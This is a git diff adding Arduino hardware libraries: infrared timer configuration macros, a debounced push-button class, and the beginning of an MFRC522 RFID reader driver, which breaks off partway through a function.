TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR2A |= _BV(COM2B1)) +#define TIMER_DISABLE_PWM (TCCR2A &= ~(_BV(COM2B1))) +#define TIMER_ENABLE_INTR (TIMSK2 = _BV(OCIE2A)) +#define TIMER_DISABLE_INTR (TIMSK2 = 0) +#define TIMER_INTR_NAME TIMER2_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint8_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR2A = _BV(WGM20); \ + TCCR2B = _BV(WGM22) | _BV(CS20); \ + OCR2A = pwmval; \ + OCR2B = pwmval / 3; \ +}) +#define TIMER_COUNT_TOP (SYSCLOCK * USECPERTICK / 1000000) +#if (TIMER_COUNT_TOP < 256) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR2A = _BV(WGM21); \ + TCCR2B = _BV(CS20); \ + OCR2A = TIMER_COUNT_TOP; \ + TCNT2 = 0; \ +}) +#else +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR2A = _BV(WGM21); \ + TCCR2B = _BV(CS21); \ + OCR2A = TIMER_COUNT_TOP / 8; \ + TCNT2 = 0; \ +}) +#endif +#if defined(CORE_OC2B_PIN) +#define TIMER_PWM_PIN CORE_OC2B_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 9 /* Arduino Mega */ +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define TIMER_PWM_PIN 14 /* Sanguino */ +#else +#define TIMER_PWM_PIN 3 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ +#endif + + +// defines for timer1 (16 bits) +#elif defined(IR_USE_TIMER1) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR1A |= _BV(COM1A1)) +#define TIMER_DISABLE_PWM (TCCR1A &= ~(_BV(COM1A1))) +#if defined(__AVR_ATmega8P__) || defined(__AVR_ATmega8__) + #define TIMER_ENABLE_INTR (TIMSK = _BV(OCIE1A)) + #define TIMER_DISABLE_INTR (TIMSK = 0) +#else + #define TIMER_ENABLE_INTR (TIMSK1 = _BV(OCIE1A)) + #define TIMER_DISABLE_INTR (TIMSK1 = 0) +#endif +#define TIMER_INTR_NAME TIMER1_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR1A = _BV(WGM11); \ + TCCR1B = _BV(WGM13) | _BV(CS10); \ + ICR1 = pwmval; \ + OCR1A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR1A = 0; \ + TCCR1B = _BV(WGM12) | _BV(CS10); \ + OCR1A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT1 = 0; \ +}) +#if defined(CORE_OC1A_PIN) +#define TIMER_PWM_PIN CORE_OC1A_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 11 /* Arduino Mega */ +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define TIMER_PWM_PIN 13 /* Sanguino */ +#else +#define TIMER_PWM_PIN 9 /* Arduino Duemilanove, Diecimila, LilyPad, etc */ +#endif + + +// defines for timer3 (16 bits) +#elif defined(IR_USE_TIMER3) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR3A |= _BV(COM3A1)) +#define TIMER_DISABLE_PWM (TCCR3A &= ~(_BV(COM3A1))) +#define TIMER_ENABLE_INTR (TIMSK3 = _BV(OCIE3A)) +#define TIMER_DISABLE_INTR (TIMSK3 = 0) +#define TIMER_INTR_NAME TIMER3_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR3A = _BV(WGM31); \ + TCCR3B = _BV(WGM33) | _BV(CS30); \ + ICR3 = pwmval; \ + OCR3A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR3A = 0; \ + TCCR3B = _BV(WGM32) | _BV(CS30); \ + OCR3A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT3 = 0; \ +}) +#if defined(CORE_OC3A_PIN) +#define TIMER_PWM_PIN CORE_OC3A_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 5 /* Arduino Mega */ +#else +#error "Please add OC3A pin number here\n" +#endif + + +// defines for timer4 (10 bits, high speed option) +#elif defined(IR_USE_TIMER4_HS) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) +#define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) +#define TIMER_ENABLE_INTR (TIMSK4 = _BV(TOIE4)) +#define TIMER_DISABLE_INTR (TIMSK4 = 0) +#define TIMER_INTR_NAME TIMER4_OVF_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR4A = (1<> 8; \ + OCR4C = pwmval; \ + TC4H = (pwmval / 3) >> 8; \ + OCR4A = (pwmval / 3) & 255; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR4A = 0; \ + TCCR4B = _BV(CS40); \ + TCCR4C = 0; \ + TCCR4D = 0; \ + TCCR4E = 0; \ + TC4H = (SYSCLOCK * USECPERTICK / 1000000) >> 8; \ + OCR4C = (SYSCLOCK * USECPERTICK / 1000000) & 255; \ + TC4H = 0; \ + TCNT4 = 0; \ +}) +#if defined(CORE_OC4A_PIN) +#define TIMER_PWM_PIN CORE_OC4A_PIN /* Teensy */ +#elif defined(__AVR_ATmega32U4__) +#define TIMER_PWM_PIN 13 /* Leonardo */ +#else +#error "Please add OC4A pin number here\n" +#endif + + +// defines for timer4 (16 bits) +#elif defined(IR_USE_TIMER4) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) +#define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) +#define TIMER_ENABLE_INTR (TIMSK4 = _BV(OCIE4A)) +#define TIMER_DISABLE_INTR (TIMSK4 = 0) +#define TIMER_INTR_NAME TIMER4_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR4A = _BV(WGM41); \ + TCCR4B = _BV(WGM43) | _BV(CS40); \ + ICR4 = pwmval; \ + OCR4A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR4A = 0; \ + TCCR4B = _BV(WGM42) | _BV(CS40); \ + OCR4A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT4 = 0; \ +}) +#if defined(CORE_OC4A_PIN) +#define TIMER_PWM_PIN CORE_OC4A_PIN +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 6 /* Arduino Mega */ +#else +#error "Please add OC4A pin number here\n" +#endif + + +// defines for timer5 (16 bits) +#elif defined(IR_USE_TIMER5) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR5A |= _BV(COM5A1)) +#define TIMER_DISABLE_PWM (TCCR5A &= ~(_BV(COM5A1))) +#define TIMER_ENABLE_INTR (TIMSK5 = _BV(OCIE5A)) +#define TIMER_DISABLE_INTR (TIMSK5 = 0) +#define TIMER_INTR_NAME TIMER5_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR5A = _BV(WGM51); \ + TCCR5B = _BV(WGM53) | _BV(CS50); \ + ICR5 = pwmval; \ + OCR5A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR5A = 0; \ + TCCR5B = _BV(WGM52) | _BV(CS50); \ + OCR5A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT5 = 0; \ +}) +#if defined(CORE_OC5A_PIN) +#define TIMER_PWM_PIN CORE_OC5A_PIN +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 46 /* Arduino Mega */ +#else +#error "Please add OC5A pin number here\n" +#endif + + +// defines for special carrier modulator timer +#elif defined(IR_USE_TIMER_CMT) +#define TIMER_RESET ({ \ + uint8_t tmp = CMT_MSC; \ + CMT_CMD2 = 30; \ +}) +#define TIMER_ENABLE_PWM CORE_PIN5_CONFIG = PORT_PCR_MUX(2)|PORT_PCR_DSE|PORT_PCR_SRE +#define TIMER_DISABLE_PWM CORE_PIN5_CONFIG = PORT_PCR_MUX(1)|PORT_PCR_DSE|PORT_PCR_SRE +#define TIMER_ENABLE_INTR NVIC_ENABLE_IRQ(IRQ_CMT) +#define TIMER_DISABLE_INTR NVIC_DISABLE_IRQ(IRQ_CMT) +#define TIMER_INTR_NAME cmt_isr +#ifdef ISR +#undef ISR +#endif +#define ISR(f) void f(void) +#if F_BUS == 48000000 +#define CMT_PPS_VAL 5 +#else +#define CMT_PPS_VAL 2 +#endif +#define TIMER_CONFIG_KHZ(val) ({ \ + SIM_SCGC4 |= SIM_SCGC4_CMT; \ + SIM_SOPT2 |= SIM_SOPT2_PTD7PAD; \ + CMT_PPS = CMT_PPS_VAL; \ + CMT_CGH1 = 2667 / val; \ + CMT_CGL1 = 5333 / val; \ + CMT_CMD1 = 0; \ + CMT_CMD2 = 30; \ + CMT_CMD3 = 0; \ + CMT_CMD4 = 0; \ + CMT_OC = 0x60; \ + CMT_MSC = 0x01; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + SIM_SCGC4 |= SIM_SCGC4_CMT; \ + CMT_PPS = CMT_PPS_VAL; \ + CMT_CGH1 = 1; \ + CMT_CGL1 = 1; \ + CMT_CMD1 = 0; \ + CMT_CMD2 = 30; \ + CMT_CMD3 = 0; \ + CMT_CMD4 = 19; \ + CMT_OC = 0; \ + CMT_MSC = 0x03; \ +}) +#define TIMER_PWM_PIN 5 + + +#else // unknown timer +#error "Internal code configuration error, no known IR_USE_TIMER# defined\n" +#endif + + +// defines for blinking the LED +#if defined(CORE_LED0_PIN) +#define BLINKLED CORE_LED0_PIN +#define BLINKLED_ON() (digitalWrite(CORE_LED0_PIN, HIGH)) +#define BLINKLED_OFF() (digitalWrite(CORE_LED0_PIN, LOW)) +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define BLINKLED 13 +#define BLINKLED_ON() (PORTB |= B10000000) +#define BLINKLED_OFF() (PORTB &= B01111111) +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define BLINKLED 0 +#define BLINKLED_ON() (PORTD |= B00000001) +#define BLINKLED_OFF() (PORTD &= B11111110) +#else +#define BLINKLED 13 +#define BLINKLED_ON() (PORTB |= B00100000) +#define BLINKLED_OFF() (PORTB &= B11011111) +#endif + +#endif diff --git a/libraries/PLabLib1/PLab_PushButton.cpp b/libraries/PLabLib1/PLab_PushButton.cpp new file mode 100755 index 0000000..7da6522 --- /dev/null +++ b/libraries/PLabLib1/PLab_PushButton.cpp @@ -0,0 +1,62 @@ +#include "Arduino.h" +#include "PLab_PushButton.h" + +#define DEBOUNCE 20 // button debouncer, how many ms to debounce, 5+ ms is usually plenty + +PLab_PushButton::PLab_PushButton(int pin) +{ + _pin = pin; + _pressed = 0; + justpressed = 0; + justreleased = 0; + previousstate = 0; + currentstate = 0; + lasttime = millis(); + pinMode(_pin, INPUT); +} + +void PLab_PushButton::update() +{ + justreleased = 0; + justpressed = 0; + + if ((lasttime + DEBOUNCE) > millis()) { + // not enough time has passed to debounce + return; + } + // ok we have waited DEBOUNCE milliseconds, lets reset the timer + lasttime = millis(); + + currentstate = digitalRead(_pin); // read the button + + if (currentstate == previousstate) { + if ((_pressed == LOW) && (currentstate == LOW)) { + // just pressed + justpressed = 1; + } + else if ((_pressed == HIGH) && (currentstate == HIGH)) { + // just released + justreleased = 1; + } + _pressed = !currentstate; // remember, digital HIGH means NOT pressed + } + //Serial.println(pressed[index], DEC); + previousstate = currentstate; // keep a running tally of the buttons +} + + +boolean PLab_PushButton::isDown() +{ + return _pressed; +} + +boolean PLab_PushButton::pressed() +{ + return justpressed; +} + +boolean PLab_PushButton::released() +{ + return justreleased; +} + diff --git a/libraries/PLabLib1/PLab_PushButton.h b/libraries/PLabLib1/PLab_PushButton.h new file mode 100755 index 0000000..d722180 --- /dev/null +++ b/libraries/PLabLib1/PLab_PushButton.h @@ -0,0 +1,31 @@ +/* + PushButton.h - Library for Button with cebounce. + Created by Dag Svanæs, 2015. + Released into the public domain. +*/ + +#ifndef PLab_PushButton_h +#define PLab_PushButton_h + +#include "Arduino.h" + + +#define DEBOUNCE 20 // button debouncer, how many ms to debounce, 5+ ms is usually plenty + +class PLab_PushButton +{ + public: + PLab_PushButton(int pin); + void update(); + boolean isDown(); + boolean pressed(); + boolean released(); + private: + int _pin; + byte _pressed, justpressed, justreleased; + byte previousstate; + byte currentstate; + long lasttime; +}; + +#endif \ No newline at end of file diff --git a/libraries/PLabLib2/MFRC522.cpp b/libraries/PLabLib2/MFRC522.cpp new file mode 100755 index 0000000..09e0c31 --- /dev/null +++ b/libraries/PLabLib2/MFRC522.cpp @@ -0,0 +1,1659 @@ +/* +* MFRC522.cpp - Library to use ARDUINO RFID MODULE KIT 13.56 MHZ WITH TAGS SPI W AND R BY COOQROBOT. +* NOTE: Please also check the comments in MFRC522.h - they provide useful hints and background information. +* Released into the public domain. +*/ + +#include +#include + +///////////////////////////////////////////////////////////////////////////////////// +// Functions for setting up the Arduino +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Constructor. + * Prepares the output pins. + */ +MFRC522::MFRC522( byte chipSelectPin, ///< Arduino pin connected to MFRC522's SPI slave select input (Pin 24, NSS, active low) + byte resetPowerDownPin ///< Arduino pin connected to MFRC522's reset and power down input (Pin 6, NRSTPD, active low) + ) { + // Set the chipSelectPin as digital output, do not select the slave yet + _chipSelectPin = chipSelectPin; + pinMode(_chipSelectPin, OUTPUT); + digitalWrite(_chipSelectPin, HIGH); + + // Set the resetPowerDownPin as digital output, do not reset or power down. + _resetPowerDownPin = resetPowerDownPin; + pinMode(_resetPowerDownPin, OUTPUT); + digitalWrite(_resetPowerDownPin, LOW); + + // Set SPI bus to work with MFRC522 chip. + setSPIConfig(); +} // End constructor + +/** + * Set SPI bus to work with MFRC522 chip. + * Please call this function if you have changed the SPI config since the MFRC522 constructor was run. + */ +void MFRC522::setSPIConfig() { + SPI.setBitOrder(MSBFIRST); + SPI.setDataMode(SPI_MODE0); +} // End setSPIConfig() + +///////////////////////////////////////////////////////////////////////////////////// +// Basic interface functions for communicating with the MFRC522 +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Writes a byte to the specified register in the MFRC522 chip. + * The interface is described in the datasheet section 8.1.2. + */ +void MFRC522::PCD_WriteRegister( byte reg, ///< The register to write to. One of the PCD_Register enums. + byte value ///< The value to write. + ) { + digitalWrite(_chipSelectPin, LOW); // Select slave + SPI.transfer(reg & 0x7E); // MSB == 0 is for writing. LSB is not used in address. Datasheet section 8.1.2.3. + SPI.transfer(value); + digitalWrite(_chipSelectPin, HIGH); // Release slave again +} // End PCD_WriteRegister() + +/** + * Writes a number of bytes to the specified register in the MFRC522 chip. + * The interface is described in the datasheet section 8.1.2. + */ +void MFRC522::PCD_WriteRegister( byte reg, ///< The register to write to. One of the PCD_Register enums. + byte count, ///< The number of bytes to write to the register + byte *values ///< The values to write. Byte array. + ) { + digitalWrite(_chipSelectPin, LOW); // Select slave + SPI.transfer(reg & 0x7E); // MSB == 0 is for writing. LSB is not used in address. Datasheet section 8.1.2.3. + for (byte index = 0; index < count; index++) { + SPI.transfer(values[index]); + } + digitalWrite(_chipSelectPin, HIGH); // Release slave again +} // End PCD_WriteRegister() + +/** + * Reads a byte from the specified register in the MFRC522 chip. + * The interface is described in the datasheet section 8.1.2. + */ +byte MFRC522::PCD_ReadRegister( byte reg ///< The register to read from. One of the PCD_Register enums. + ) { + byte value; + digitalWrite(_chipSelectPin, LOW); // Select slave + SPI.transfer(0x80 | (reg & 0x7E)); // MSB == 1 is for reading. LSB is not used in address. Datasheet section 8.1.2.3. + value = SPI.transfer(0); // Read the value back. Send 0 to stop reading. + digitalWrite(_chipSelectPin, HIGH); // Release slave again + return value; +} // End PCD_ReadRegister() + +/** + * Reads a number of bytes from the specified register in the MFRC522 chip. + * The interface is described in the datasheet section 8.1.2. + */ +void MFRC522::PCD_ReadRegister( byte reg, ///< The register to read from. One of the PCD_Register enums. + byte count, ///< The number of bytes to read + byte *values, ///< Byte array to store the values in. + byte rxAlign ///< Only bit positions rxAlign..7 in values[0] are updated. + ) { + if (count == 0) { + return; + } + //Serial.print("Reading "); Serial.print(count); Serial.println(" bytes from register."); + byte address = 0x80 | (reg & 0x7E); // MSB == 1 is for reading. LSB is not used in address. Datasheet section 8.1.2.3. + byte index = 0; // Index in values array. + digitalWrite(_chipSelectPin, LOW); // Select slave + count--; // One read is performed outside of the loop + SPI.transfer(address); // Tell MFRC522 which address we want to read + while (index < count) { + if (index == 0 && rxAlign) { // Only update bit positions rxAlign..7 in values[0] + // Create bit mask for bit positions rxAlign..7 + byte mask = 0; + for (byte i = rxAlign; i <= 7; i++) { + mask |= (1 << i); + } + // Read value and tell that we want to read the same address again. + byte value = SPI.transfer(address); + // Apply mask to both current value of values[0] and the new data in value. + values[0] = (values[index] & ~mask) | (value & mask); + } + else { // Normal case + values[index] = SPI.transfer(address); // Read value and tell that we want to read the same address again. + } + index++; + } + values[index] = SPI.transfer(0); // Read the final byte. Send 0 to stop reading. + digitalWrite(_chipSelectPin, HIGH); // Release slave again +} // End PCD_ReadRegister() + +/** + * Sets the bits given in mask in register reg. + */ +void MFRC522::PCD_SetRegisterBitMask( byte reg, ///< The register to update. One of the PCD_Register enums. + byte mask ///< The bits to set. + ) { + byte tmp; + tmp = PCD_ReadRegister(reg); + PCD_WriteRegister(reg, tmp | mask); // set bit mask +} // End PCD_SetRegisterBitMask() + +/** + * Clears the bits given in mask from register reg. + */ +void MFRC522::PCD_ClearRegisterBitMask( byte reg, ///< The register to update. One of the PCD_Register enums. + byte mask ///< The bits to clear. + ) { + byte tmp; + tmp = PCD_ReadRegister(reg); + PCD_WriteRegister(reg, tmp & (~mask)); // clear bit mask +} // End PCD_ClearRegisterBitMask() + + +/** + * Use the CRC coprocessor in the MFRC522 to calculate a CRC_A. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PCD_CalculateCRC( byte *data, ///< In: Pointer to the data to transfer to the FIFO for CRC calculation. + byte length, ///< In: The number of bytes to transfer. + byte *result ///< Out: Pointer to result buffer. Result is written to result[0..1], low byte first. + ) { + PCD_WriteRegister(CommandReg, PCD_Idle); // Stop any active command. + PCD_WriteRegister(DivIrqReg, 0x04); // Clear the CRCIRq interrupt request bit + PCD_SetRegisterBitMask(FIFOLevelReg, 0x80); // FlushBuffer = 1, FIFO initialization + PCD_WriteRegister(FIFODataReg, length, data); // Write data to the FIFO + PCD_WriteRegister(CommandReg, PCD_CalcCRC); // Start the calculation + + // Wait for the CRC calculation to complete. Each iteration of the while-loop takes 17.73�s. + word i = 5000; + byte n; + while (1) { + n = PCD_ReadRegister(DivIrqReg); // DivIrqReg[7..0] bits are: Set2 reserved reserved MfinActIRq reserved CRCIRq reserved reserved + if (n & 0x04) { // CRCIRq bit set - calculation done + break; + } + if (--i == 0) { // The emergency break. We will eventually terminate on this one after 89ms. Communication with the MFRC522 might be down. + return STATUS_TIMEOUT; + } + } + PCD_WriteRegister(CommandReg, PCD_Idle); // Stop calculating CRC for new content in the FIFO. + + // Transfer the result from the registers to the result buffer + result[0] = PCD_ReadRegister(CRCResultRegL); + result[1] = PCD_ReadRegister(CRCResultRegH); + return STATUS_OK; +} // End PCD_CalculateCRC() + + +///////////////////////////////////////////////////////////////////////////////////// +// Functions for manipulating the MFRC522 +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Initializes the MFRC522 chip. + */ +void MFRC522::PCD_Init() { + if (digitalRead(_resetPowerDownPin) == LOW) { //The MFRC522 chip is in power down mode. + digitalWrite(_resetPowerDownPin, HIGH); // Exit power down mode. This triggers a hard reset. + // Section 8.8.2 in the datasheet says the oscillator start-up time is the start up time of the crystal + 37,74�s. Let us be generous: 50ms. + delay(50); + } + else { // Perform a soft reset + PCD_Reset(); + } + + // When communicating with a PICC we need a timeout if something goes wrong. + // f_timer = 13.56 MHz / (2*TPreScaler+1) where TPreScaler = [TPrescaler_Hi:TPrescaler_Lo]. + // TPrescaler_Hi are the four low bits in TModeReg. TPrescaler_Lo is TPrescalerReg. + PCD_WriteRegister(TModeReg, 0x80); // TAuto=1; timer starts automatically at the end of the transmission in all communication modes at all speeds + PCD_WriteRegister(TPrescalerReg, 0xA9); // TPreScaler = TModeReg[3..0]:TPrescalerReg, ie 0x0A9 = 169 => f_timer=40kHz, ie a timer period of 25�s. + PCD_WriteRegister(TReloadRegH, 0x03); // Reload timer with 0x3E8 = 1000, ie 25ms before timeout. + PCD_WriteRegister(TReloadRegL, 0xE8); + + PCD_WriteRegister(TxASKReg, 0x40); // Default 0x00. Force a 100 % ASK modulation independent of the ModGsPReg register setting + PCD_WriteRegister(ModeReg, 0x3D); // Default 0x3F. Set the preset value for the CRC coprocessor for the CalcCRC command to 0x6363 (ISO 14443-3 part 6.2.4) + PCD_AntennaOn(); // Enable the antenna driver pins TX1 and TX2 (they were disabled by the reset) +} // End PCD_Init() + +/** + * Performs a soft reset on the MFRC522 chip and waits for it to be ready again. + */ +void MFRC522::PCD_Reset() { + PCD_WriteRegister(CommandReg, PCD_SoftReset); // Issue the SoftReset command. + // The datasheet does not mention how long the SoftRest command takes to complete. + // But the MFRC522 might have been in soft power-down mode (triggered by bit 4 of CommandReg) + // Section 8.8.2 in the datasheet says the oscillator start-up time is the start up time of the crystal + 37,74�s. Let us be generous: 50ms. + delay(50); + // Wait for the PowerDown bit in CommandReg to be cleared + while (PCD_ReadRegister(CommandReg) & (1<<4)) { + // PCD still restarting - unlikely after waiting 50ms, but better safe than sorry. + } +} // End PCD_Reset() + +/** + * Turns the antenna on by enabling pins TX1 and TX2. + * After a reset these pins are disabled. + */ +void MFRC522::PCD_AntennaOn() { + byte value = PCD_ReadRegister(TxControlReg); + if ((value & 0x03) != 0x03) { + PCD_WriteRegister(TxControlReg, value | 0x03); + } +} // End PCD_AntennaOn() + +/** + * Turns the antenna off by disabling pins TX1 and TX2. + */ +void MFRC522::PCD_AntennaOff() { + PCD_ClearRegisterBitMask(RFCfgReg, 0x03); +} // End PCD_AntennaOff() + +/** + * Get the current MFRC522 Receiver Gain (RxGain[2:0]) value. + * See 9.3.3.6 / table 98 in http://www.nxp.com/documents/data_sheet/MFRC522.pdf + * NOTE: Return value scrubbed with (0x07<<4)=01110000b as RCFfgReg may use reserved bits. + * + * @return Value of the RxGain, scrubbed to the 3 bits used. + */ +byte MFRC522::PCD_GetAntennaGain() { + return PCD_ReadRegister(RFCfgReg) & (0x07<<4); +} // End PCD_GetAntennaGain() + +/** + * Set the MFRC522 Receiver Gain (RxGain) to value specified by given mask. + * See 9.3.3.6 / table 98 in http://www.nxp.com/documents/data_sheet/MFRC522.pdf + * NOTE: Given mask is scrubbed with (0x07<<4)=01110000b as RCFfgReg may use reserved bits. + */ +void MFRC522::PCD_SetAntennaGain(byte mask) { + if (PCD_GetAntennaGain() != mask) { // only bother if there is a change + PCD_ClearRegisterBitMask(RFCfgReg, (0x07<<4)); // clear needed to allow 000 pattern + PCD_SetRegisterBitMask(RFCfgReg, mask & (0x07<<4)); // only set RxGain[2:0] bits + } +} // End PCD_SetAntennaGain() + +///////////////////////////////////////////////////////////////////////////////////// +// Functions for communicating with PICCs +///////////////////////////////////////////////////////////////////////////////////// + +/** + * Executes the Transceive command. + * CRC validation can only be done if backData and backLen are specified. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PCD_TransceiveData( byte *sendData, ///< Pointer to the data to transfer to the FIFO. + byte sendLen, ///< Number of bytes to transfer to the FIFO. + byte *backData, ///< NULL or pointer to buffer if data should be read back after executing the command. + byte *backLen, ///< In: Max number of bytes to write to *backData. Out: The number of bytes returned. + byte *validBits, ///< In/Out: The number of valid bits in the last byte. 0 for 8 valid bits. Default NULL. + byte rxAlign, ///< In: Defines the bit position in backData[0] for the first bit received. Default 0. + bool checkCRC ///< In: True => The last two bytes of the response is assumed to be a CRC_A that must be validated. + ) { + byte waitIRq = 0x30; // RxIRq and IdleIRq + return PCD_CommunicateWithPICC(PCD_Transceive, waitIRq, sendData, sendLen, backData, backLen, validBits, rxAlign, checkCRC); +} // End PCD_TransceiveData() + +/** + * Transfers data to the MFRC522 FIFO, executes a command, waits for completion and transfers data back from the FIFO. + * CRC validation can only be done if backData and backLen are specified. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PCD_CommunicateWithPICC( byte command, ///< The command to execute. One of the PCD_Command enums. + byte waitIRq, ///< The bits in the ComIrqReg register that signals successful completion of the command. + byte *sendData, ///< Pointer to the data to transfer to the FIFO. + byte sendLen, ///< Number of bytes to transfer to the FIFO. + byte *backData, ///< NULL or pointer to buffer if data should be read back after executing the command. + byte *backLen, ///< In: Max number of bytes to write to *backData. Out: The number of bytes returned. + byte *validBits, ///< In/Out: The number of valid bits in the last byte. 0 for 8 valid bits. + byte rxAlign, ///< In: Defines the bit position in backData[0] for the first bit received. Default 0. + bool checkCRC ///< In: True => The last two bytes of the response is assumed to be a CRC_A that must be validated. + ) { + byte n, _validBits; + unsigned int i; + + // Prepare values for BitFramingReg + byte txLastBits = validBits ? *validBits : 0; + byte bitFraming = (rxAlign << 4) + txLastBits; // RxAlign = BitFramingReg[6..4]. TxLastBits = BitFramingReg[2..0] + + PCD_WriteRegister(CommandReg, PCD_Idle); // Stop any active command. + PCD_WriteRegister(ComIrqReg, 0x7F); // Clear all seven interrupt request bits + PCD_SetRegisterBitMask(FIFOLevelReg, 0x80); // FlushBuffer = 1, FIFO initialization + PCD_WriteRegister(FIFODataReg, sendLen, sendData); // Write sendData to the FIFO + PCD_WriteRegister(BitFramingReg, bitFraming); // Bit adjustments + PCD_WriteRegister(CommandReg, command); // Execute the command + if (command == PCD_Transceive) { + PCD_SetRegisterBitMask(BitFramingReg, 0x80); // StartSend=1, transmission of data starts + } + + // Wait for the command to complete. + // In PCD_Init() we set the TAuto flag in TModeReg. This means the timer automatically starts when the PCD stops transmitting. + // Each iteration of the do-while-loop takes 17.86�s. + i = 2000; + while (1) { + n = PCD_ReadRegister(ComIrqReg); // ComIrqReg[7..0] bits are: Set1 TxIRq RxIRq IdleIRq HiAlertIRq LoAlertIRq ErrIRq TimerIRq + if (n & waitIRq) { // One of the interrupts that signal success has been set. + break; + } + if (n & 0x01) { // Timer interrupt - nothing received in 25ms + return STATUS_TIMEOUT; + } + if (--i == 0) { // The emergency break. If all other condions fail we will eventually terminate on this one after 35.7ms. Communication with the MFRC522 might be down. + return STATUS_TIMEOUT; + } + } + + // Stop now if any errors except collisions were detected. + byte errorRegValue = PCD_ReadRegister(ErrorReg); // ErrorReg[7..0] bits are: WrErr TempErr reserved BufferOvfl CollErr CRCErr ParityErr ProtocolErr + if (errorRegValue & 0x13) { // BufferOvfl ParityErr ProtocolErr + return STATUS_ERROR; + } + + // If the caller wants data back, get it from the MFRC522. + if (backData && backLen) { + n = PCD_ReadRegister(FIFOLevelReg); // Number of bytes in the FIFO + if (n > *backLen) { + return STATUS_NO_ROOM; + } + *backLen = n; // Number of bytes returned + PCD_ReadRegister(FIFODataReg, n, backData, rxAlign); // Get received data from FIFO + _validBits = PCD_ReadRegister(ControlReg) & 0x07; // RxLastBits[2:0] indicates the number of valid bits in the last received byte. If this value is 000b, the whole byte is valid. + if (validBits) { + *validBits = _validBits; + } + } + + // Tell about collisions + if (errorRegValue & 0x08) { // CollErr + return STATUS_COLLISION; + } + + // Perform CRC_A validation if requested. + if (backData && backLen && checkCRC) { + // In this case a MIFARE Classic NAK is not OK. + if (*backLen == 1 && _validBits == 4) { + return STATUS_MIFARE_NACK; + } + // We need at least the CRC_A value and all 8 bits of the last byte must be received. + if (*backLen < 2 || _validBits != 0) { + return STATUS_CRC_WRONG; + } + // Verify CRC_A - do our own calculation and store the control in controlBuffer. + byte controlBuffer[2]; + n = PCD_CalculateCRC(&backData[0], *backLen - 2, &controlBuffer[0]); + if (n != STATUS_OK) { + return n; + } + if ((backData[*backLen - 2] != controlBuffer[0]) || (backData[*backLen - 1] != controlBuffer[1])) { + return STATUS_CRC_WRONG; + } + } + + return STATUS_OK; +} // End PCD_CommunicateWithPICC() + +/** + * Transmits a REQuest command, Type A. Invites PICCs in state IDLE to go to READY and prepare for anticollision or selection. 7 bit frame. + * Beware: When two PICCs are in the field at the same time I often get STATUS_TIMEOUT - probably due do bad antenna design. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PICC_RequestA(byte *bufferATQA, ///< The buffer to store the ATQA (Answer to request) in + byte *bufferSize ///< Buffer size, at least two bytes. Also number of bytes returned if STATUS_OK. + ) { + return PICC_REQA_or_WUPA(PICC_CMD_REQA, bufferATQA, bufferSize); +} // End PICC_RequestA() + +/** + * Transmits a Wake-UP command, Type A. Invites PICCs in state IDLE and HALT to go to READY(*) and prepare for anticollision or selection. 7 bit frame. + * Beware: When two PICCs are in the field at the same time I often get STATUS_TIMEOUT - probably due do bad antenna design. + * + * @return STATUS_OK on success, STATUS_??? otherwise. + */ +byte MFRC522::PICC_WakeupA( byte *bufferATQA, ///< The buffer to store the ATQA (Answer to request) in + byte 